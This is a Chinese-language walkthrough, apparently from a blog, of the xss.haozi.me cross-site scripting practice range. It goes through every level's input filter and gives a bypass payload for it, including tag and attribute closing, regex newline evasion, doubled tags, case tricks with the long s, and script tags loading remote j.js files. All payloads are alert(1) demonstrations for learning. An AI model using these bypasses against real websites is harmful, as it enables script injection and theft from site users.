項目地址:https://xss.haozi.me/html
直接常規插入,正則表達式
<script>alert(1)</script>segmentfault
閉合前面的<textarea>標籤xss
</textarea><script>alert(1)</script>網站
</textarea><img src=0 onerror=alert(1)>編碼
閉合前面的雙引號url
"><script>alert(1)</script>spa
過濾了括號,用 ` 代替3d
<script>alert`1`</script>htm
把括號、正括號和引號都過濾了,能夠考慮用html編碼來繞過
<img src=0 onerror=alert(1)>
後註釋符 --> 被替換成了一個表情,這裏註釋符有兩種:
<!-- 註釋內容 -->
<!-- 註釋內容 --!>
能夠用到第二種註釋符
--!><script>alert(1)</script>
用了正則表達式來過濾,匹配了: auto 、以on開頭且以=結尾的字符串、 >,因此過濾了autofocus和onerror等事件, 以及防止input標籤被閉合
可是它並無匹配換行符, 能夠經過換行來繞過匹配
type="image" src=0 onerror
=alert(1)
這裏分爲三部分來分析: /<\/?[^>]+>/gi
1)<\/?
\轉義符與/結合, 從而轉義了/, 進而含義是匹配: </
再加上+ (匹配前面的子表達式一次或屢次), 因此是匹配: < 或者 </
2)[^>]+
首先要明白, 中括號的用法: [abc] => 匹配abc中的任意一個;
而後^符號的兩種用法:
1.限定開頭: 好比, /^A/會匹配"An e"中的A,可是不會匹配"ab A"中的A
2.取反(僅處於中括號中成立): 好比,[^a-zA-Z0-9]表示 「找到一個非字母也非數字的字符」。
最後是+的含義:匹配前面的子表達式一次或屢次。
因此, 總的來講,[^>]+ 匹配了除了^的任意字符的一次或者屢次
3)>
單純匹配>。
總的表達式就是,匹配: </ 任意字符 >, 並且 /i 過濾了大小寫
html的單標籤也能夠解析,後面+空格
<img src=0 onerror=alert(1)
正則匹配過濾了</style>,
能夠加一個空格</style >,形成正則逃逸
也能夠利用正則不匹配\n來繞過
</style
><img src=0 onerror=alert(1)>
正則表達式白名單式地匹配了固定網址,並閉合前面的標籤
https://www.segmentfault.com"></script><img src=0 onerror="alert(1)
正則匹配過濾了不少關鍵字,沒法在網址後面加標籤等操做了,可是能夠直接引用指定網站下的目錄文件來達到xss注入的目的,在靶場的目錄下有個j.js文件, 裏面有alert(1);代碼, 直接調用便可
https://www.segmentfault.com.haozi.me/j.js
也可用url的@語法來進行跳轉調用,而後@跳轉訪問便可 (beefhook原理)
https://www.segmentfault.com@https://www.joker.com/j.js
注意要都要爲https或者http
程序將全部字母轉換爲大寫
HTML中對大小寫不敏感
JS中對大小寫敏感
這樣能夠對js代碼進行編碼處理, 而html部分不變
<img src=0 onerror="alert(1)">
域名對大小寫也不敏感 , 全部能夠用上一題的方法, 調用靶機上自帶的j.js代碼, 完成xss注入:
<script src=https://www.segmentfault.com.haozi.me/j.js></script>
和上一題相比, 只是多了一個對script的過濾,
<img src=0 onerror="alert(1)">
也能夠用雙寫繞過
<sscriptcript src=https://www.segmentfault.com.haozi.me/j.js></sscriptcript>
用正則把斜槓, 單、雙引號都過濾了
但回車能夠破壞結構,再直接注入alert(1), 再配合js的註釋符 --> 註釋掉')
正則匹配了全部大小寫字母,將尖括號後面追加一個下劃線, 而且將全部字符大寫
找到一個字符的大寫是s的: ſ (古英文, 拉丁文):
https://www.thetype.com/2009/10/1577
<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>
將一些經常使用的注入字符進行了html編碼處理, 因爲編碼後處於html標籤中, 因此當解析代碼的時候, 被過濾編碼的字符仍然會被還原來執行, 因此能夠說, 被過濾的字符能夠用,構造一下,使其閉合, 在註釋掉後面的內容便可
'); alert(1); //
沒有過濾, 隨意給window.date一個值, 再注入
''; alert(1); //
//雖然被轉義成了\/\/, 但轉義以後仍是//, 在js中仍是註釋符 (勿與正則弄混)
"); alert(1); //
這題將雙引號轉義了, 就不能閉合了,換個思路, 它並無將轉義符轉義, 那麼咱們能夠將轉義符轉義
\"); alert(1); //
完。